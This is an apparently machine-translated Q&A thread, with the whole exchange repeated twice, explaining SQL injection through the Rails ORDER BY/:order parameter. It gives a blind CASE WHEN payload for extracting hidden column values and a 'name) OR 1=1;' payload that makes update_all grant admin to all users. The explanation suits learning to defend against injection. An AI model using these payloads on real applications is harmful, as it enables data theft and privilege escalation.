解释如何在 Rails 中利用 order 子句
Explain how order clause can be exploited in Rails
我很难理解 this website on Rails SQL Injections 中的这一部分是如何工作的。
Taking advantage of SQL injection in ORDER BY clauses is tricky, but a CASE statement can be used to test other fields, switching the sort column for true or false. While it can take many queries, an attacker can determine the value of the field.
谁能解释一下?他们说 "switching the sort column for true or false" 的那一点很难理解,因为我不明白这将如何让攻击者揭示另一个字段的值。
如果您正在尝试确定您知道在 table 中但未在 select 中返回的字段的值,您可以按顺序迭代它,直到您获取值:
ORDER BY CASE WHEN variableIdLikeToDiscover < 'N' then 1 else 0 end
然后看是大于还是小于'N'。如果小于,接下来你可以试试:
ORDER BY CASE WHEN variableIdLikeToDiscover < 'F' then 1 else 0 end
依此类推,直到您(最终)确定了该值。
示例显示 :order 参数将放在语句的末尾,因此如果您在末尾添加一个始终为真的比较,它将更新所有行。
例如,如果你下了一个非恶意的订单,它会是这样的:
params[:order] = "name"
User.update_all("admin = 1", "name LIKE 'B%'" , { :order => params[:order] })
生成的SQL将是:
UPDATE "users" SET admin = 1 WHERE "users"."id" IN (SELECT "users"."id" FROM "users" WHERE (name LIKE 'B%') ORDER BY name))
因此,将对名称为 LIKE 'B%' 的用户进行更新。
但是,当参数设置为:
params[:order] = "name) OR 1=1;"
生成的SQL将是:
UPDATE "users" SET admin = 1 WHERE "users"."id" IN (SELECT "users"."id" FROM "users" WHERE (name LIKE 'B%') ORDER BY name) OR 1=1;)
基本上,OR 比较将添加到原始 WHERE,比较将是:更新名称为 LIKE 'B%' 或 1=1 的用户。这将导致所有用户更新为 admin=1(在给定的示例中)。
然后攻击者可以使用任何具有管理员权限的用户登录。
希望对您有所帮助...
我很难理解 this website on Rails SQL Injections 中的这一部分是如何工作的。
Taking advantage of SQL injection in ORDER BY clauses is tricky, but a CASE statement can be used to test other fields, switching the sort column for true or false. While it can take many queries, an attacker can determine the value of the field.
谁能解释一下?他们说 "switching the sort column for true or false" 的那一点很难理解,因为我不明白这将如何让攻击者揭示另一个字段的值。
如果您正在尝试确定您知道在 table 中但未在 select 中返回的字段的值,您可以按顺序迭代它,直到您获取值:
ORDER BY CASE WHEN variableIdLikeToDiscover < 'N' then 1 else 0 end
然后看是大于还是小于'N'。如果小于,接下来你可以试试:
ORDER BY CASE WHEN variableIdLikeToDiscover < 'F' then 1 else 0 end
依此类推,直到您(最终)确定了该值。
示例显示 :order 参数将放在语句的末尾,因此如果您在末尾添加一个始终为真的比较,它将更新所有行。
例如,如果你下了一个非恶意的订单,它会是这样的:
params[:order] = "name"
User.update_all("admin = 1", "name LIKE 'B%'" , { :order => params[:order] })
生成的SQL将是:
UPDATE "users" SET admin = 1 WHERE "users"."id" IN (SELECT "users"."id" FROM "users" WHERE (name LIKE 'B%') ORDER BY name))
因此,将对名称为 LIKE 'B%' 的用户进行更新。
但是,当参数设置为:
params[:order] = "name) OR 1=1;"
生成的SQL将是:
UPDATE "users" SET admin = 1 WHERE "users"."id" IN (SELECT "users"."id" FROM "users" WHERE (name LIKE 'B%') ORDER BY name) OR 1=1;)
基本上,OR 比较将添加到原始 WHERE,比较将是:更新名称为 LIKE 'B%' 或 1=1 的用户。这将导致所有用户更新为 admin=1(在给定的示例中)。
然后攻击者可以使用任何具有管理员权限的用户登录。
希望对您有所帮助...